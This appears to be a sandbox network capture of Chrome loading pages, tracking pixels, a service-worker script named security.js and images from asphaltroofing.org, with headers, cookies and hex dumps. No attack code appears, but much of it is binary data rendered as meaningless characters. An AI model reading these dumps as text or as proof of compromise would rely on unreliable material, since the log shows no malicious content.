2024-04-23 14:54:39 UTC	991	OUT	GET /privacy_sandbox/pixel/register/trigger/?id=688224189896855&ev=ViewContent&dl=https%3A%2F%2Fwww.asphaltroofing.org%2Fexcellence%2F&rl=&if=false&ts=1713884077837&cd[b_w]=1280&cd[b_h]=907&cd[s_w]=1280&cd[s_h]=1024&cd[loc_url]=https%3A%2F%2Fwww.asphaltroofing.org%2Fexcellence%2F&cd[ses_id]=6627cb7c5c51a2698cf29ddb&cd[flvr]=page_view&cd[a_id]=603026366fd8bf4e42de107f&cd[debug]=0&cd[bypass_hash]=0&cd[f_id]=6627cb818425280008d4a656&cd[ttd_id]=b73cbbe9-d3f6-43f9-891b-3186ee4712ab&sw=1280&sh=1024&v=2.9.154&r=stable&ec=0&o=4126&fbp=fb.1.1713884037978.840489946&ler=empty&cdl=API_unavailable&it=1713884077822&coo=false&dpo=LDU&dpoco=0&dpost=0&tm=1&rqm=FGET HTTP/1.1 Host: www.facebook.com Connection: keep-alive User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 Accept: / Sec-Fetch-Site: none Sec-Fetch-Mode: cors Sec-Fetch-Dest: empty Accept-Encoding: gzip, deflate, br Accept-Language: en-US,en;q=0.9
2024-04-23 14:54:40 UTC	900	IN	HTTP/1.1 200 OK reporting-endpoints: coop_report="https://www.facebook.com/browser_reporting/coop/?minimize=0", coep_report="https://www.facebook.com/browser_reporting/coep/?minimize=0", default="https://www.facebook.com/ajax/browser_error_reports/?device_level=unknown", permissions_policy="https://www.facebook.com/ajax/browser_error_reports/" report-to: {"max_age":2592000,"endpoints":[{"url":"https:\/\/www.facebook.com\/browser_reporting\/coop\/?minimize=0"}],"group":"coop_report","include_subdomains":true}, {"max_age":86400,"endpoints":[{"url":"https:\/\/www.facebook.com\/browser_reporting\/coep\/?minimize=0"}],"group":"coep_report"}, {"max_age":259200,"endpoints":[{"url":"https:\/\/www.facebook.com\/ajax\/browser_error_reports\/?device_level=unknown"}]}, {"max_age":21600,"endpoints":[{"url":"https:\/\/www.facebook.com\/ajax\/browser_error_reports\/"}],"group":"permissions_policy"}
2024-04-23 14:54:40 UTC	1903	IN	Data Raw: 63 6f 6e 74 65 6e 74 2d 73 65 63 75 72 69 74 79 2d 70 6f 6c 69 63 79 3a 20 64 65 66 61 75 6c 74 2d 73 72 63 20 64 61 74 61 3a 20 62 6c 6f 62 3a 20 27 73 65 6c 66 27 20 68 74 74 70 73 3a 2f 2f 2a 2e 66 62 73 62 78 2e 63 6f 6d 20 27 75 6e 73 61 66 65 2d 69 6e 6c 69 6e 65 27 20 2a 2e 66 61 63 65 62 6f 6f 6b 2e 63 6f 6d 20 2a 2e 66 62 63 64 6e 2e 6e 65 74 20 27 75 6e 73 61 66 65 2d 65 76 61 6c 27 3b 73 63 72 69 70 74 2d 73 72 63 20 2a 2e 66 61 63 65 62 6f 6f 6b 2e 63 6f 6d 20 2a 2e 66 62 63 64 6e 2e 6e 65 74 20 2a 2e 66 61 63 65 62 6f 6f 6b 2e 6e 65 74 20 31 32 37 2e 30 2e 30 2e 31 3a 2a 20 27 75 6e 73 61 66 65 2d 69 6e 6c 69 6e 65 27 20 62 6c 6f 62 3a 20 64 61 74 61 3a 20 27 73 65 6c 66 27 20 63 6f 6e 6e 65 63 74 2e 66 61 63 65 62 6f 6f 6b 2e 6e 65 74 20 27 Data Ascii: content-security-policy: default-src data: blob: 'self' https://.fbsbx.com 'unsafe-inline' .facebook.com .fbcdn.net 'unsafe-eval';script-src .facebook.com .fbcdn.net .facebook.net 127.0.0.1:* 'unsafe-inline' blob: data: 'self' connect.facebook.net '
2024-04-23 14:54:40 UTC	1609	IN	Data Raw: 70 65 72 6d 69 73 73 69 6f 6e 73 2d 70 6f 6c 69 63 79 3a 20 61 63 63 65 6c 65 72 6f 6d 65 74 65 72 3d 28 29 2c 20 61 74 74 72 69 62 75 74 69 6f 6e 2d 72 65 70 6f 72 74 69 6e 67 3d 28 73 65 6c 66 29 2c 20 61 75 74 6f 70 6c 61 79 3d 28 29 2c 20 62 6c 75 65 74 6f 6f 74 68 3d 28 29 2c 20 63 61 6d 65 72 61 3d 28 73 65 6c 66 29 2c 20 63 68 2d 64 65 76 69 63 65 2d 6d 65 6d 6f 72 79 3d 28 29 2c 20 63 68 2d 64 6f 77 6e 6c 69 6e 6b 3d 28 29 2c 20 63 68 2d 64 70 72 3d 28 29 2c 20 63 68 2d 65 63 74 3d 28 29 2c 20 63 68 2d 72 74 74 3d 28 29 2c 20 63 68 2d 73 61 76 65 2d 64 61 74 61 3d 28 29 2c 20 63 68 2d 75 61 2d 61 72 63 68 3d 28 29 2c 20 63 68 2d 75 61 2d 62 69 74 6e 65 73 73 3d 28 29 2c 20 63 68 2d 76 69 65 77 70 6f 72 74 2d 68 65 69 67 68 74 3d 28 29 2c 20 63 68 Data Ascii: permissions-policy: accelerometer=(), attribution-reporting=(self), autoplay=(), bluetooth=(), camera=(self), ch-device-memory=(), ch-downlink=(), ch-dpr=(), ch-ect=(), ch-rtt=(), ch-save-data=(), ch-ua-arch=(), ch-ua-bitness=(), ch-viewport-height=(), ch

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
355	192.168.2.6	50183	192.124.249.102	443	4180	C:\Program Files\Google\Chrome\Application\chrome.exe

Timestamp	Bytes transferred	Direction	Data
2024-04-23 14:54:39 UTC	981	OUT	GET /resources/ HTTP/1.1 Host: www.asphaltroofing.org Connection: keep-alive sec-ch-ua: "Google Chrome";v="117", "Not;A=Brand";v="8", "Chromium";v="117" sec-ch-ua-mobile: ?0 sec-ch-ua-platform: "Windows" Upgrade-Insecure-Requests: 1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,/;q=0.8,application/signed-exchange;v=b3;q=0.7 Sec-Fetch-Site: none Sec-Fetch-Mode: navigate Sec-Fetch-Dest: document Accept-Encoding: gzip, deflate, br Accept-Language: en-US,en;q=0.9 Cookie: _ga=GA1.1.25628076.1713884020; feathr_session_id=6627cb7c5c51a2698cf29ddb; _tccl_visitor=f88fc3aa-100e-4cfc-bec1-5c4af53a6798; _tccl_visit=f88fc3aa-100e-4cfc-bec1-5c4af53a6798; _fbp=fb.1.1713884037978.840489946; _ga_YHMWY88VCL=GS1.1.1713884019.1.1.1713884073.0.0.0; _scc_session=pc=6&C_TOUCH=2024-04-23T14:54:34.086Z
2024-04-23 14:54:40 UTC	630	IN	HTTP/1.1 200 OK Server: Sucuri/Cloudproxy Date: Tue, 23 Apr 2024 14:54:39 GMT Content-Type: text/html; charset=UTF-8 Content-Length: 16615 Connection: close X-Sucuri-ID: 14002 X-XSS-Protection: 1; mode=block X-Frame-Options: SAMEORIGIN X-Content-Type-Options: nosniff Content-Security-Policy: upgrade-insecure-requests; Link: <https://www.asphaltroofing.org/wp-json/>; rel="https://api.w.org/", <https://www.asphaltroofing.org/wp-json/wp/v2/pages/139>; rel="alternate"; type="application/json", <https://www.asphaltroofing.org/?p=139>; rel=shortlink Vary: Accept-Encoding Content-Encoding: br X-Sucuri-Cache: HIT
2024-04-23 14:54:40 UTC	7562	IN	Data Raw: 53 11 38 11 45 35 ed 87 2b 22 35 ad 07 40 23 65 e1 fc fd 45 60 dc c4 c7 3a cf f7 e5 fb 6a f5 2d 55 e5 e3 bf 0d 97 4d 72 0c 80 00 c8 b7 42 39 8f e7 5d 3c 93 b5 9d c9 cd d9 2e 15 44 42 12 1d 8a e0 02 90 29 8d a2 bf b4 f9 15 43 d5 06 f9 1b cd 81 bd d6 d1 92 5a 12 e0 6f 4f 35 a7 65 1b 71 c9 d8 30 87 aa 91 1a d4 20 d4 7c b5 40 e0 39 93 74 b2 4d 37 49 37 0a f7 ef 7d 5f 53 3b 93 1b 1c 42 6a 43 9e 3e 6e 88 52 ee dc b9 0b b9 5c 9e 70 af e6 85 ff 35 ef 7d 00 f2 ff 00 31 f3 09 90 1e 80 e4 5a 08 e4 0c 36 cc b9 e1 dd f7 7e 00 08 80 09 4b 6e 22 95 b8 54 e2 ae 52 06 96 eb 90 53 ef 3a 86 aa 70 a9 a2 fa 20 b7 80 33 d4 51 9d c6 95 c6 95 4a f7 ae 1b 97 b6 31 4c 7c ff c5 20 51 84 13 71 a9 eb 5e c3 fd 9f 2f d3 29 61 e2 60 fb a1 36 34 8f ce 99 61 d9 81 38 bc 1f 44 5a b3 e1 22 Data Ascii: S8E5+"5@#eE`:j-UMrB9]<.DB)CZoO5eq0 \|@9tM7I7}_S;BjC>nR\p5}1Z6~Kn"TRS:p 3QJ1L\| Qq^/)a`64a8DZ"
2024-04-23 14:54:40 UTC	8192	IN	Data Raw: d6 a5 f1 c9 29 f3 28 f5 73 c8 c3 45 e2 5f ef fe e6 1b 5c 55 80 ce d1 95 a2 f5 15 5a 2c dc 6f 18 8e d3 ad 6e 97 80 ae 88 5d e8 0a 0d 7b 38 a1 c2 93 3b a1 d0 50 a0 0f 9e 28 c5 3a b4 d3 6b 1f 7d 92 6d d7 c7 6b 4a 07 8d e1 79 ed bf 0a f4 aa b5 9c 95 28 92 93 80 12 86 ac 09 00 26 67 01 38 cd 0e f7 3a bb 3c 70 8a 28 42 6d 22 ba 16 0f 8c c1 43 73 72 be b9 cc 15 3a 04 aa b9 94 03 9d b7 c4 86 40 5f ea 85 d1 23 1d 87 e5 6b 32 3a 84 ac ba 5d db 7c cb 35 99 77 85 5e 76 b3 70 76 50 ed 8f d3 c9 24 24 da 90 30 86 20 94 4d cf 5b f0 d0 31 cc c9 a6 4f 47 7d 70 85 74 34 ca d8 45 27 54 de 09 93 73 36 cb 0d 24 00 b7 2d 24 eb e6 20 5c db 3c 01 e7 5b 39 84 38 1a ed 3b 4e 27 80 d0 04 42 20 3d 56 67 15 bc bc 04 e0 94 94 cc e9 e2 3e b3 e9 84 e1 48 91 7e 81 5a d0 59 b1 56 91 c1 79 Data Ascii: )(sE_\UZ,on]{8;P(:k}mkJy(&g8:<p(Bm"Csr:@_#k2:]\|5w^vpvP$$0 M[1OG}pt4E'Ts6$-$ \<[98;N'B =Vg>H~ZYVy
2024-04-23 14:54:40 UTC	861	IN	Data Raw: 17 a7 a7 85 f4 f7 f5 8a b2 a0 85 4e 8f c7 57 d1 9f 5b a4 3c 38 5d 94 74 53 f8 fd 74 71 ca 98 f4 9f 4d 03 33 9a 05 a3 5d ad ad 03 d3 76 b8 64 cf 86 e7 c9 0b 57 6d 64 42 03 db b6 68 a1 ef 69 90 f0 bd fb e3 e8 4d a7 6f ce e5 16 e0 e2 04 e7 ee 39 33 76 52 7f 64 59 64 c1 b3 35 75 ac 94 05 0e 71 4b 25 cf ff 5b 4a 1f d0 95 15 5c 32 d6 31 20 a5 78 9d 96 2a 72 48 ef 4f e2 85 03 e8 1d a6 2a ba ba 05 50 f4 e1 d1 c0 fe a0 69 4f 94 52 99 46 7b 76 55 da 8a 05 f0 f2 ef 84 67 b7 bc 56 92 b4 9a b6 93 24 2d ec b6 30 a6 6e 33 5e 53 14 9b c8 b4 6c 45 55 2c 4a 7b 56 84 7a 08 bb 17 3d 99 21 6f dc 1a a2 58 ec c8 cc 7f 1d 0e 42 28 8e 58 42 d0 73 a9 0b f6 90 1e 50 f0 12 66 61 4c 7a 5d 17 55 5d 44 94 a1 70 75 4c 78 a2 8c 44 5b ac d3 83 9c f1 75 54 37 75 61 ec 19 8a bb 85 e2 bc b1 Data Ascii: NW[<8]tStqM3]vdWmdBhiMo93vRdYd5uqK%[J\21 xrHOPiORF{vUgV$-0n3^SlEU,J{Vz=!oXB(XBsPfaLz]U]DpuLxD[uT7ua

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
356	192.168.2.6	50185	192.124.249.102	443	4180	C:\Program Files\Google\Chrome\Application\chrome.exe

Timestamp	Bytes transferred	Direction	Data
2024-04-23 14:54:39 UTC	932	OUT	GET /security.js?v=1713884077797 HTTP/1.1 Host: www.asphaltroofing.org Connection: keep-alive Cache-Control: max-age=0 Accept: / Service-Worker: script Sec-Fetch-Site: same-origin Sec-Fetch-Mode: same-origin Sec-Fetch-Dest: serviceworker Referer: https://www.asphaltroofing.org/security.js?v=1713884077797 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 Accept-Encoding: gzip, deflate, br Accept-Language: en-US,en;q=0.9 Cookie: _ga=GA1.1.25628076.1713884020; feathr_session_id=6627cb7c5c51a2698cf29ddb; _tccl_visitor=f88fc3aa-100e-4cfc-bec1-5c4af53a6798; _tccl_visit=f88fc3aa-100e-4cfc-bec1-5c4af53a6798; _fbp=fb.1.1713884037978.840489946; _ga_YHMWY88VCL=GS1.1.1713884019.1.1.1713884073.0.0.0; _scc_session=pc=6&C_TOUCH=2024-04-23T14:54:34.086Z If-None-Match: "4506e-5c6-5ddcbf6119400" If-Modified-Since: Fri, 29 Apr 2022 14:36:00 GMT
2024-04-23 14:54:40 UTC	478	IN	HTTP/1.1 304 Not Modified Server: Sucuri/Cloudproxy Date: Tue, 23 Apr 2024 14:54:40 GMT Connection: close X-Sucuri-ID: 14002 X-XSS-Protection: 1; mode=block X-Frame-Options: SAMEORIGIN X-Content-Type-Options: nosniff Content-Security-Policy: upgrade-insecure-requests; Last-Modified: Fri, 29 Apr 2022 14:36:00 GMT ETag: "4506e-5c6-5ddcbf6119400" Vary: Accept-Encoding Expires: Thu, 31 Dec 2037 23:55:55 GMT Cache-Control: max-age=315360000 X-Sucuri-Cache: MISS

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
357	192.168.2.6	50188	192.124.249.102	443	4180	C:\Program Files\Google\Chrome\Application\chrome.exe

Timestamp	Bytes transferred	Direction	Data
2024-04-23 14:54:40 UTC	971	OUT	GET /wp-content/fontello-icon-fonts/back-to-work-social-media-graphics/css/fontello.css?ver=3.3.8 HTTP/1.1 Host: www.asphaltroofing.org Connection: keep-alive sec-ch-ua: "Google Chrome";v="117", "Not;A=Brand";v="8", "Chromium";v="117" sec-ch-ua-mobile: ?0 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 sec-ch-ua-platform: "Windows" Accept: text/css,/;q=0.1 Sec-Fetch-Site: same-origin Sec-Fetch-Mode: no-cors Sec-Fetch-Dest: style Referer: https://www.asphaltroofing.org/resources/ Accept-Encoding: gzip, deflate, br Accept-Language: en-US,en;q=0.9 Cookie: _ga=GA1.1.25628076.1713884020; feathr_session_id=6627cb7c5c51a2698cf29ddb; _tccl_visitor=f88fc3aa-100e-4cfc-bec1-5c4af53a6798; _tccl_visit=f88fc3aa-100e-4cfc-bec1-5c4af53a6798; _fbp=fb.1.1713884037978.840489946; _ga_YHMWY88VCL=GS1.1.1713884019.1.1.1713884073.0.0.0; _scc_session=pc=6&C_TOUCH=2024-04-23T14:54:34.086Z
2024-04-23 14:54:40 UTC	557	IN	HTTP/1.1 404 Not Found Server: Sucuri/Cloudproxy Date: Tue, 23 Apr 2024 14:54:40 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: close X-Sucuri-ID: 14002 X-XSS-Protection: 1; mode=block X-Frame-Options: SAMEORIGIN X-Content-Type-Options: nosniff Content-Security-Policy: upgrade-insecure-requests; Expires: Wed, 11 Jan 1984 05:00:00 GMT Cache-Control: no-cache, must-revalidate, max-age=0 Link: <https://www.asphaltroofing.org/wp-json/>; rel="https://api.w.org/" Vary: Accept-Encoding X-Sucuri-Cache: HIT
2024-04-23 14:54:40 UTC	7635	IN	Data Raw: 38 30 30 30 0d 0a 3c 21 44 4f 43 54 59 50 45 20 68 74 6d 6c 3e 0d 0a 3c 68 74 6d 6c 20 6c 61 6e 67 3d 22 65 6e 22 3e 0d 0a 3c 68 65 61 64 3e 0d 0a 20 20 20 20 3c 21 2d 2d 20 47 54 4d 20 53 6e 69 70 70 65 74 20 66 6f 72 20 46 65 61 74 68 72 29 20 2d 2d 3e 0d 0a 3c 73 63 72 69 70 74 3e 28 66 75 6e 63 74 69 6f 6e 28 77 2c 64 2c 73 2c 6c 2c 69 29 7b 77 5b 6c 5d 3d 77 5b 6c 5d 7c 7c 5b 5d 3b 77 5b 6c 5d 2e 70 75 73 68 28 7b 27 67 74 6d 2e 73 74 61 72 74 27 3a 0d 0a 6e 65 77 20 44 61 74 65 28 29 2e 67 65 74 54 69 6d 65 28 29 2c 65 76 65 6e 74 3a 27 67 74 6d 2e 6a 73 27 7d 29 3b 76 61 72 20 66 3d 64 2e 67 65 74 45 6c 65 6d 65 6e 74 73 42 79 54 61 67 4e 61 6d 65 28 73 29 5b 30 5d 2c 0d 0a 6a 3d 64 2e 63 72 65 61 74 65 45 6c 65 6d 65 6e 74 28 73 29 2c 64 6c 3d 6c Data Ascii: 8000<!DOCTYPE html><html lang="en"><head> ... GTM Snippet for Feathr) --><script>(function(w,d,s,l,i){w[l]=w[l]\|\|[];w[l].push({'gtm.start':new Date().getTime(),event:'gtm.js'});var f=d.getElementsByTagName(s)[0],j=d.createElement(s),dl=l

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
358	192.168.2.6	50189	192.124.249.102	443	4180	C:\Program Files\Google\Chrome\Application\chrome.exe

Timestamp	Bytes transferred	Direction	Data
2024-04-23 14:54:40 UTC	972	OUT	GET /wp-content/fontello-icon-fonts/back-to-work-social-media-graphics/css/animation.css?ver=3.3.8 HTTP/1.1 Host: www.asphaltroofing.org Connection: keep-alive sec-ch-ua: "Google Chrome";v="117", "Not;A=Brand";v="8", "Chromium";v="117" sec-ch-ua-mobile: ?0 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 sec-ch-ua-platform: "Windows" Accept: text/css,/;q=0.1 Sec-Fetch-Site: same-origin Sec-Fetch-Mode: no-cors Sec-Fetch-Dest: style Referer: https://www.asphaltroofing.org/resources/ Accept-Encoding: gzip, deflate, br Accept-Language: en-US,en;q=0.9 Cookie: _ga=GA1.1.25628076.1713884020; feathr_session_id=6627cb7c5c51a2698cf29ddb; _tccl_visitor=f88fc3aa-100e-4cfc-bec1-5c4af53a6798; _tccl_visit=f88fc3aa-100e-4cfc-bec1-5c4af53a6798; _fbp=fb.1.1713884037978.840489946; _ga_YHMWY88VCL=GS1.1.1713884019.1.1.1713884073.0.0.0; _scc_session=pc=6&C_TOUCH=2024-04-23T14:54:34.086Z
2024-04-23 14:54:40 UTC	557	IN	HTTP/1.1 404 Not Found Server: Sucuri/Cloudproxy Date: Tue, 23 Apr 2024 14:54:40 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: close X-Sucuri-ID: 14002 X-XSS-Protection: 1; mode=block X-Frame-Options: SAMEORIGIN X-Content-Type-Options: nosniff Content-Security-Policy: upgrade-insecure-requests; Expires: Wed, 11 Jan 1984 05:00:00 GMT Cache-Control: no-cache, must-revalidate, max-age=0 Link: <https://www.asphaltroofing.org/wp-json/>; rel="https://api.w.org/" Vary: Accept-Encoding X-Sucuri-Cache: HIT
2024-04-23 14:54:40 UTC	7635	IN	Data Raw: 38 30 30 30 0d 0a 3c 21 44 4f 43 54 59 50 45 20 68 74 6d 6c 3e 0d 0a 3c 68 74 6d 6c 20 6c 61 6e 67 3d 22 65 6e 22 3e 0d 0a 3c 68 65 61 64 3e 0d 0a 20 20 20 20 3c 21 2d 2d 20 47 54 4d 20 53 6e 69 70 70 65 74 20 66 6f 72 20 46 65 61 74 68 72 29 20 2d 2d 3e 0d 0a 3c 73 63 72 69 70 74 3e 28 66 75 6e 63 74 69 6f 6e 28 77 2c 64 2c 73 2c 6c 2c 69 29 7b 77 5b 6c 5d 3d 77 5b 6c 5d 7c 7c 5b 5d 3b 77 5b 6c 5d 2e 70 75 73 68 28 7b 27 67 74 6d 2e 73 74 61 72 74 27 3a 0d 0a 6e 65 77 20 44 61 74 65 28 29 2e 67 65 74 54 69 6d 65 28 29 2c 65 76 65 6e 74 3a 27 67 74 6d 2e 6a 73 27 7d 29 3b 76 61 72 20 66 3d 64 2e 67 65 74 45 6c 65 6d 65 6e 74 73 42 79 54 61 67 4e 61 6d 65 28 73 29 5b 30 5d 2c 0d 0a 6a 3d 64 2e 63 72 65 61 74 65 45 6c 65 6d 65 6e 74 28 73 29 2c 64 6c 3d 6c Data Ascii: 8000<!DOCTYPE html><html lang="en"><head> ... GTM Snippet for Feathr) --><script>(function(w,d,s,l,i){w[l]=w[l]\|\|[];w[l].push({'gtm.start':new Date().getTime(),event:'gtm.js'});var f=d.getElementsByTagName(s)[0],j=d.createElement(s),dl=l

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
359	192.168.2.6	50190	192.124.249.102	443	4180	C:\Program Files\Google\Chrome\Application\chrome.exe

Timestamp	Bytes transferred	Direction	Data
2024-04-23 14:54:40 UTC	984	OUT	GET /wp-content/uploads/2017/04/AdobeStock_21079337-400x400.jpeg HTTP/1.1 Host: www.asphaltroofing.org Connection: keep-alive sec-ch-ua: "Google Chrome";v="117", "Not;A=Brand";v="8", "Chromium";v="117" sec-ch-ua-mobile: ?0 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 sec-ch-ua-platform: "Windows" Accept: image/avif,image/webp,image/apng,image/svg+xml,image/,/*;q=0.8 Sec-Fetch-Site: same-origin Sec-Fetch-Mode: no-cors Sec-Fetch-Dest: image Referer: https://www.asphaltroofing.org/resources/ Accept-Encoding: gzip, deflate, br Accept-Language: en-US,en;q=0.9 Cookie: _ga=GA1.1.25628076.1713884020; feathr_session_id=6627cb7c5c51a2698cf29ddb; _tccl_visitor=f88fc3aa-100e-4cfc-bec1-5c4af53a6798; _tccl_visit=f88fc3aa-100e-4cfc-bec1-5c4af53a6798; _fbp=fb.1.1713884037978.840489946; _ga_YHMWY88VCL=GS1.1.1713884019.1.1.1713884073.0.0.0; _scc_session=pc=6&C_TOUCH=2024-04-23T14:54:34.086Z
2024-04-23 14:54:40 UTC	519	IN	HTTP/1.1 200 OK Server: Sucuri/Cloudproxy Date: Tue, 23 Apr 2024 14:54:40 GMT Content-Type: image/jpeg Content-Length: 25789 Connection: close X-Sucuri-ID: 14002 X-XSS-Protection: 1; mode=block X-Frame-Options: SAMEORIGIN X-Content-Type-Options: nosniff Content-Security-Policy: upgrade-insecure-requests; Last-Modified: Sat, 14 Nov 2020 23:58:48 GMT ETag: "1be1cc3-64bd-5b419ed103e00" Expires: Thu, 31 Dec 2037 23:55:55 GMT Cache-Control: max-age=315360000 X-Sucuri-Cache: MISS Accept-Ranges: bytes
2024-04-23 14:54:40 UTC	7673	IN	Data Raw: ff d8 ff e0 00 10 4a 46 49 46 00 01 01 00 00 48 00 48 00 00 ff fe 00 1f 43 6f 6d 70 72 65 73 73 65 64 20 62 79 20 6a 70 65 67 2d 72 65 63 6f 6d 70 72 65 73 73 ff db 00 43 00 06 04 04 05 04 04 06 05 05 05 06 06 06 07 09 0e 09 09 08 08 09 12 0d 0d 0a 0e 15 12 16 16 15 12 14 14 17 1a 21 1c 17 18 1f 19 14 14 1d 27 1d 1f 22 23 25 25 25 16 1c 29 2c 28 24 2b 21 24 25 24 ff db 00 43 01 06 06 06 09 08 09 11 09 09 11 24 18 14 18 24 24 24 24 24 24 24 24 24 24 24 24 24 24 24 24 24 24 24 24 24 24 24 24 24 24 24 24 24 24 24 24 24 24 24 24 24 24 24 24 24 24 24 24 24 24 24 24 24 24 ff c0 00 11 08 01 90 01 90 03 01 22 00 02 11 01 03 11 01 ff c4 00 1d 00 00 00 07 01 01 01 00 00 00 00 00 00 00 00 00 00 01 02 03 04 05 06 07 00 08 09 ff c4 00 44 10 00 02 01 03 03 02 04 04 03 Data Ascii: JFIFHHCompressed by jpeg-recompressC!'"#%%%),($+!$%$C$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$"D
2024-04-23 14:54:41 UTC	8192	IN	Data Raw: 81 1d b2 ea 73 8f 31 57 15 d5 01 8c 1c 8c 9f 2a c9 2d f5 38 60 bf 67 66 50 3c 85 4b 4f d6 31 5a 58 b4 cd 2f b9 f7 35 9c e3 f0 4c 67 f2 5d 75 6e a7 b6 d2 ed a4 9e 79 42 aa fe a4 fa 0f 7a c8 fa 8f 5f bb eb 8d 62 18 25 66 f0 01 e1 07 64 41 de a3 f5 6d 6e ef a9 2e 77 c8 59 63 5f 95 23 1d 87 fd 69 e2 78 1d 33 64 26 94 87 bb 9c 72 80 f2 ab e9 42 8e df ec ad d7 fd 12 d2 a2 33 45 6e 91 84 f0 54 3b 0c f0 3c 95 7f bd 3e 92 cf c3 85 4b 60 0d bf 6c d5 27 48 ea 3d f7 d7 52 df 31 54 90 a9 01 46 79 ec 3f 95 4e 75 57 53 c7 14 b6 76 36 ef c1 40 58 83 e6 7f e9 8a 87 07 74 57 91 25 65 87 45 d0 ec ef ae 56 7b e6 66 8d 5b 3b 86 38 3f de b4 0d 2f e1 65 8a 41 26 a5 6d a8 34 b9 f9 d1 bc 51 f2 9f b7 63 59 44 5d 51 63 6b 04 51 19 db c3 8b f8 7b bf 1d ea c3 d3 1f 1b 20 e9 a2 67 82 Data Ascii: s1W*-8`gfP<KO1ZX/5Lg]unyBz_b%fdAmn.wYc_#ix3d&rB3EnT;<>K`l'H=R1TFy?NuWSv6@XtW%eEV{f[;8?/eA&m4QcYD]QckQ{ g
2024-04-23 14:54:41 UTC	8192	IN	Data Raw: 3a 56 95 07 e2 ee e4 ba bf 71 be e2 57 3c b3 1f 2f 60 3b 01 5e c6 1d 34 31 2f c5 1d f1 8c 17 0b d1 33 6b 6d 34 33 34 f3 11 bb 9f a0 14 df 5b e9 cd 37 a8 80 f1 e3 8c 4c 06 56 6c 72 bf ef 50 d7 fd 51 3d f7 55 c3 a0 59 44 65 8a 28 cc d7 93 83 f2 c7 e4 a9 f5 3d ea 6e f3 51 4d 32 ca 4b 99 14 90 a3 21 57 bb 1f 20 07 ad 5c 92 ba 65 56 e4 44 e9 1d 69 27 48 cd 25 85 c5 bc 57 16 f1 b6 d2 f1 0d ac 3f b1 ab 36 9b f1 3f a5 f5 ad 5a df 46 87 52 11 5f 5c 0d e9 04 c8 c8 5f d8 12 30 7f 5a 84 7b 0b 2d 4f 4f 0d 7f 00 8e e1 d7 71 65 ee a4 f9 56 1d ae 46 34 db f1 2c f2 62 6b 5b bc 5a ba 1c 32 f7 04 fd c5 0b 4d 8e 6b 6c 78 39 b2 e3 db c9 eb d1 f2 8c d1 47 19 35 41 f8 65 f1 2a df aa 6c a3 d3 ef e5 54 d5 21 4f 33 81 70 a3 f7 87 bf a8 ab de ed cd 8c d4 e5 9e c9 28 be ce 64 ac 16 Data Ascii: :VqW</`;^41/3km434[7LVlrPQ=UYDe(=nQM2K!W \eVDi'H%W?6?ZFR_\_0Z{-OOqeVF4,bk[Z2Mklx9G5Ae*lT!O3p(d
2024-04-23 14:54:41 UTC	1732	IN	Data Raw: 8b f3 0f bd 6d bd 13 fe 20 ac ae cc 71 bd df 84 fe 71 cc 7f bd 55 26 51 e9 7f 14 0e 68 4b af 98 aa 66 89 f1 0b 4e d5 15 77 3a a9 6f 30 72 2a cd 15 c2 4c a1 e2 90 3a 9f 43 53 b4 07 85 63 3d d4 51 7c 18 8f 95 24 19 8f 71 c8 ae f1 76 9a 28 03 9b 44 3d 8d 23 2e 99 14 c3 0e a8 e3 d1 97 34 ba c8 0d 73 48 57 90 78 a5 c8 11 33 74 a6 99 31 cb d8 5a b7 ff 00 00 29 94 fd 05 a2 cd 9d da 74 63 fd 07 15 64 56 dc 38 34 60 c3 b5 3d cc 28 a6 4b f0 cb a7 e5 04 3d 9c 98 3f f3 9a cd 7a d7 fc 30 69 5a b3 3d de 81 76 6c 2e fb 84 90 66 36 f6 38 ed 5b f6 6b b2 3d 33 43 93 7c 30 5c 74 78 33 ab fe 1e 75 2f 41 c9 b3 57 d3 a4 8e 22 df 2d c2 7c d1 3f d1 87 f4 35 5f b7 97 73 64 f1 9a fa 1b 77 63 67 a8 42 d0 5d da c3 3c 4e 30 c9 22 06 53 f6 35 e4 7f f1 01 f0 e5 3a 37 ab 8d fe 9d 6a b0 Data Ascii: m qqU&QhKfNw:o0r*L:CSc=Q\|$qv(D=#.4sHWx3t1Z)tcdV84`=(K=?z0iZ=vl.f68[k=3C\|0\tx3u/AW"-\|?5_sdwcgB]<N0"S5:7j

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
360	192.168.2.6	50191	192.124.249.102	443	4180	C:\Program Files\Google\Chrome\Application\chrome.exe

Timestamp	Bytes transferred	Direction	Data
